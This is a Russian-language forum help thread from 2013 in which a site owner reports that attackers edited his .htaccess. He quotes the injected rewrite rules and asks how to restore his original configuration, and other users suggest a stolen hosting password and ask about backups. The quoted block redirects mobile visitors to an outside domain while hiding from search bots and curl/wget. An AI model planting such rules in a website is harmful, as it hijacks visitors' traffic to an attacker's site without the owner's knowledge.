Взломали через .htaccess | Помощь

Купить рекламу

Шины и диски для настоящих боссов дороги;

| | |

Обновить | Подписаться | Поднять тему

Чтобы выполнить действие авторизируйтесь или пройдите регистрацию на сайте.

keepgoin

1.88

[автор] (15 авг 2013, 18:03) [0/0] [0] [отв] [спам] [под] +1 | -1

Упущу многие подробности. Кулхацкеры нашли дыру, залезли в .htaccess и вот что сделали:
[code] ErrorDocument 403 /403.html
ErrorDocument 404 /404.html
RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} (android|midp|j2me|symbian|series\ 60|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk|windows\ phone|iemobile|nokia|ucweb|ucbrowser|iPad|iPhone) [NC]
RewriteCond %{HTTP_USER_AGENT} !(bot|ia_archiver|crawler|slurp|validator|webalta|yahoo|yandex|google|curl|wget) [NC]
RewriteRule (.*) http://m.extrasoftware.biz/?19&source=91.218.228.26 [L,R=302] # on
RewriteRule ^([0-9]+)$ image.php?id=$1 [QSA]
[/code] . Прошу помочь восстановить исходное содержание, потому как сам ничего в этом не понимаю.
P.S. Поставил чмод 444 на хтачку.

sozura

(15 авг 2013, 18:05) [0/0] [0] [отв] [спам] [под] +1 | -1

Измени файл

keepgoin

1.88

[автор] (15 авг 2013, 18:32) [0/0] [0] [отв] [спам] [под] +1 | -1

sozura, если ты имеешь ввиду удаление хакерского кода, то это я уже сделал. Но теперь мне нужно восстановить mod_rewrite.

wapoleg

2.59

(15 авг 2013, 18:34) [0/0] [0] [отв] [спам] [под] +1 | -1

тут вероятней просто пароль от хоста взломан, и вообще хост какой? бывало сами хостеры делали, помню одного такого кулмегахостера.
а содержание восстановить можно только помня/зная что там было, других вариантов не вижу

Изм. 1 раз. / Посл. изм.

wapoleg

2.59

(15 авг 2013, 18:38)

keepgoin

1.88

[автор] (15 авг 2013, 18:37) [0/0] [0] [отв] [спам] [под] +1 | -1

bolen, http://ihc.ru

wapoleg

2.59

(15 авг 2013, 18:39) [0/0] [0] [отв] [спам] [под] +1 | -1

keepgoin, ничего не знаю о нем, говорить нечего.
бэкап может был?